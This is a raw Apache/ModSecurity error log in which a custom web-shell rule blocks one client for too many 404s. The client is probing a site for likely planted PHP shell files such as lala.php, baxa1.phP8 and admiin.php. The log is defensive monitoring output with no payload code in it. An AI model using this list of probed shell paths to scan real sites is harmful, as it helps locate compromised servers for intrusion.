[Mon Jan 19 21:52:12.446690 2026] [:error] [pid 36216:tid 36226] [client 132.196.60.193:20373] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aW43DMIpfKKs9fzB-yCyAgAAAUg"]
[Mon Jan 19 21:52:12.842011 2026] [:error] [pid 47089:tid 47099] [client 132.196.60.193:17986] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aW43DBlIzijVNfdIsZ4IZQAAAQg"]
[Mon Jan 19 21:52:13.294461 2026] [:error] [pid 47089:tid 47109] [client 132.196.60.193:20365] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aW43DRlIzijVNfdIsZ4IZgAAARI"]
[Mon Jan 19 21:52:13.719999 2026] [:error] [pid 47089:tid 47093] [client 132.196.60.193:20362] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aW43DRlIzijVNfdIsZ4IZwAAAQI"]
[Mon Jan 19 21:52:14.230081 2026] [:error] [pid 47089:tid 47103] [client 132.196.60.193:18016] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aW43DhlIzijVNfdIsZ4IaAAAAQw"]
[Mon Jan 19 21:52:14.623958 2026] [:error] [pid 45657:tid 45680] [client 132.196.60.193:20412] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aW43Dg4XFYp2OcwCx-CbPAAAANU"]
[Mon Jan 19 21:52:15.042126 2026] [:error] [pid 45563:tid 45631] [client 132.196.60.193:20451] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aW43D5I4--OKA-Pqumy78gAAAIo"]
[Mon Jan 19 21:52:15.462650 2026] [:error] [pid 45563:tid 45625] [client 132.196.60.193:17992] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aW43D5I4--OKA-Pqumy79AAAAIQ"]
[Mon Jan 19 21:52:15.918798 2026] [:error] [pid 45657:tid 45664] [client 132.196.60.193:20444] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baxa1.phP8"] [unique_id "aW43Dw4XFYp2OcwCx-CbPwAAAMU"]
[Mon Jan 19 21:52:16.518168 2026] [:error] [pid 45563:tid 45624] [client 132.196.60.193:18027] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baxa1.phP8"] [unique_id "aW43EJI4--OKA-Pqumy79QAAAIM"]
[Mon Jan 19 21:52:17.159189 2026] [:error] [pid 36216:tid 36241] [client 132.196.60.193:20427] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baxa1.phP8"] [unique_id "aW43EcIpfKKs9fzB-yCyBwAAAVc"]
[Mon Jan 19 21:52:17.775083 2026] [:error] [pid 36216:tid 36222] [client 132.196.60.193:17999] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baxa1.phP8"] [unique_id "aW43EcIpfKKs9fzB-yCyCgAAAUQ"]
[Mon Jan 19 21:52:18.230587 2026] [:error] [pid 45562:tid 45615] [client 132.196.60.193:20472] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aW43EjoUil_kwpvtDW7qIAAAAFU"]
[Mon Jan 19 21:52:18.686158 2026] [:error] [pid 45657:tid 45661] [client 132.196.60.193:20434] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aW43Eg4XFYp2OcwCx-CbQgAAAMI"]
[Mon Jan 19 21:52:19.104606 2026] [:error] [pid 36216:tid 36220] [client 132.196.60.193:20415] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aW43E8IpfKKs9fzB-yCyDwAAAUI"]
[Mon Jan 19 21:52:19.523672 2026] [:error] [pid 36216:tid 36234] [client 132.196.60.193:20408] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aW43E8IpfKKs9fzB-yCyEgAAAVA"]
[Mon Jan 19 21:52:19.955577 2026] [:error] [pid 36216:tid 36236] [client 132.196.60.193:20447] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tempfuns.php"] [unique_id "aW43E8IpfKKs9fzB-yCyEwAAAVI"]
[Mon Jan 19 21:52:20.420744 2026] [:error] [pid 36216:tid 36226] [client 132.196.60.193:18404] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tempfuns.php"] [unique_id "aW43FMIpfKKs9fzB-yCyFQAAAUg"]
[Mon Jan 19 21:52:20.901088 2026] [:error] [pid 36216:tid 36229] [client 132.196.60.193:18047] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tempfuns.php"] [unique_id "aW43FMIpfKKs9fzB-yCyFwAAAUs"]
[Mon Jan 19 21:52:21.511499 2026] [:error] [pid 45561:tid 45569] [client 132.196.60.193:20406] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tempfuns.php"] [unique_id "aW43Fa4ONSZn4nkTayJyRgAAAAM"]
[Mon Jan 19 21:52:21.984105 2026] [:error] [pid 36216:tid 36240] [client 132.196.60.193:20379] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/past.php"] [unique_id "aW43FcIpfKKs9fzB-yCyHAAAAVY"]
[Mon Jan 19 21:52:22.559371 2026] [:error] [pid 45563:tid 45623] [client 132.196.60.193:17989] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/past.php"] [unique_id "aW43FpI4--OKA-Pqumy8AAAAAII"]
[Mon Jan 19 21:52:23.026680 2026] [:error] [pid 45657:tid 45682] [client 132.196.60.193:18379] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/past.php"] [unique_id "aW43Fw4XFYp2OcwCx-CbSQAAANc"]
[Mon Jan 19 21:52:23.621186 2026] [:error] [pid 36216:tid 36237] [client 132.196.60.193:18019] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/past.php"] [unique_id "aW43F8IpfKKs9fzB-yCyIAAAAVM"]
[Mon Jan 19 21:52:24.037290 2026] [:error] [pid 36216:tid 36231] [client 132.196.60.193:18001] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aW43GMIpfKKs9fzB-yCyIQAAAU0"]
[Mon Jan 19 21:52:24.507996 2026] [:error] [pid 36216:tid 36227] [client 132.196.60.193:20394] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aW43GMIpfKKs9fzB-yCyIgAAAUk"]
[Mon Jan 19 21:52:25.018348 2026] [:error] [pid 36216:tid 36229] [client 132.196.60.193:20386] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aW43GcIpfKKs9fzB-yCyIwAAAUs"]
[Mon Jan 19 21:52:25.406620 2026] [:error] [pid 36216:tid 36228] [client 132.196.60.193:18043] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aW43GcIpfKKs9fzB-yCyJgAAAUo"]
[Mon Jan 19 21:52:25.794479 2026] [:error] [pid 45657:tid 45680] [client 132.196.60.193:20361] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aW43GQ4XFYp2OcwCx-CbTQAAANU"]
[Mon Jan 19 21:52:26.193744 2026] [:error] [pid 45563:tid 45622] [client 132.196.60.193:18002] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aW43GpI4--OKA-Pqumy8BQAAAIE"]
[Mon Jan 19 21:52:26.617941 2026] [:error] [pid 45657:tid 45677] [client 132.196.60.193:20393] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aW43Gg4XFYp2OcwCx-CbUQAAANI"]
[Mon Jan 19 21:52:27.076962 2026] [:error] [pid 36216:tid 36242] [client 132.196.60.193:18026] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aW43G8IpfKKs9fzB-yCyKgAAAVg"]
[Mon Jan 19 21:52:27.477647 2026] [:error] [pid 45657:tid 45672] [client 132.196.60.193:17994] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aW43Gw4XFYp2OcwCx-CbUwAAAM0"]
[Mon Jan 19 21:52:27.877840 2026] [:error] [pid 45563:tid 45639] [client 132.196.60.193:18373] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aW43G5I4--OKA-Pqumy8BgAAAJI"]
[Mon Jan 19 21:52:28.272445 2026] [:error] [pid 45562:tid 45611] [client 132.196.60.193:20459] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aW43HDoUil_kwpvtDW7qIQAAAFE"]
[Mon Jan 19 21:52:28.733455 2026] [:error] [pid 45657:tid 45679] [client 132.196.60.193:18411] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aW43HA4XFYp2OcwCx-CbVgAAANQ"]
[Mon Jan 19 21:52:29.251837 2026] [:error] [pid 45563:tid 45631] [client 132.196.60.193:20368] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "aW43HZI4--OKA-Pqumy8DQAAAIo"]
[Mon Jan 19 21:52:29.685210 2026] [:error] [pid 45562:tid 45600] [client 132.196.60.193:20384] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "aW43HToUil_kwpvtDW7qJAAAAEY"]
[Mon Jan 19 21:52:30.138194 2026] [:error] [pid 36216:tid 36230] [client 132.196.60.193:20440] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "aW43HsIpfKKs9fzB-yCyQAAAAUw"]
[Mon Jan 19 21:52:30.724670 2026] [:error] [pid 45562:tid 45604] [client 132.196.60.193:18018] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "aW43HjoUil_kwpvtDW7qJQAAAEo"]
[Mon Jan 19 21:52:31.133668 2026] [:error] [pid 45561:tid 45586] [client 132.196.60.193:18006] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aW43H64ONSZn4nkTayJyUgAAABQ"]
[Mon Jan 19 21:52:31.539274 2026] [:error] [pid 45561:tid 45576] [client 132.196.60.193:18023] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aW43H64ONSZn4nkTayJyUwAAAAo"]
[Mon Jan 19 21:52:31.924990 2026] [:error] [pid 45563:tid 45644] [client 132.196.60.193:18012] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aW43H5I4--OKA-Pqumy8KQAAAJc"]
[Mon Jan 19 21:52:32.398098 2026] [:error] [pid 45562:tid 45610] [client 132.196.60.193:18010] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aW43IDoUil_kwpvtDW7qJgAAAFA"]
[Mon Jan 19 21:52:32.954807 2026] [:error] [pid 47089:tid 47113] [client 132.196.60.193:17991] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admiin.php"] [unique_id "aW43IBlIzijVNfdIsZ4IfAAAARY"]
[Mon Jan 19 21:52:33.522767 2026] [:error] [pid 45563:tid 45638] [client 132.196.60.193:18044] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admiin.php"] [unique_id "aW43IZI4--OKA-Pqumy8LQAAAJE"]
[Mon Jan 19 21:52:34.004880 2026] [:error] [pid 45563:tid 45636] [client 132.196.60.193:18036] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admiin.php"] [unique_id "aW43IpI4--OKA-Pqumy8LgAAAI8"]
[Mon Jan 19 21:52:34.649994 2026] [:error] [pid 47089:tid 47108] [client 132.196.60.193:20390] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admiin.php"] [unique_id "aW43IhlIzijVNfdIsZ4IhQAAARE"]
[Mon Jan 19 21:52:35.152512 2026] [:error] [pid 36216:tid 36228] [client 132.196.60.193:18371] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9v6.php"] [unique_id "aW43I8IpfKKs9fzB-yCyVQAAAUo"]
[Mon Jan 19 21:52:36.051010 2026] [:error] [pid 45561:tid 45574] [client 132.196.60.193:18396] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9v6.php"] [unique_id "aW43JK4ONSZn4nkTayJyWAAAAAg"]
[Mon Jan 19 21:52:36.675262 2026] [:error] [pid 36216:tid 36227] [client 132.196.60.193:18024] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9v6.php"] [unique_id "aW43JMIpfKKs9fzB-yCyVwAAAUk"]
[Mon Jan 19 21:52:37.276711 2026] [:error] [pid 45563:tid 45621] [client 132.196.60.193:18406] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9v6.php"] [unique_id "aW43JZI4--OKA-Pqumy8MgAAAIA"]
[Mon Jan 19 21:52:37.693437 2026] [:error] [pid 45561:tid 45577] [client 132.196.60.193:17987] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aW43Ja4ONSZn4nkTayJyXQAAAAs"]
[Mon Jan 19 21:52:38.455676 2026] [:error] [pid 45561:tid 45568] [client 132.196.60.193:20404] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aW43Jq4ONSZn4nkTayJyXwAAAAI"]
[Mon Jan 19 21:52:38.971445 2026] [:error] [pid 45561:tid 45578] [client 132.196.60.193:17997] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aW43Jq4ONSZn4nkTayJyYwAAAAw"]
[Mon Jan 19 21:52:39.589103 2026] [proxy_fcgi:error] [pid 45657:tid 45676] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:39.802490 2026] [proxy_fcgi:error] [pid 45657:tid 45678] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:39.997038 2026] [proxy_fcgi:error] [pid 45657:tid 45673] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:40.188644 2026] [proxy_fcgi:error] [pid 45657:tid 45663] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:40.379429 2026] [proxy_fcgi:error] [pid 45657:tid 45675] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:52:40.669052 2026] [proxy_fcgi:error] [pid 45657:tid 45681] [client 132.196.60.193:18038] AH01071: Got error 'Primary script unknown'
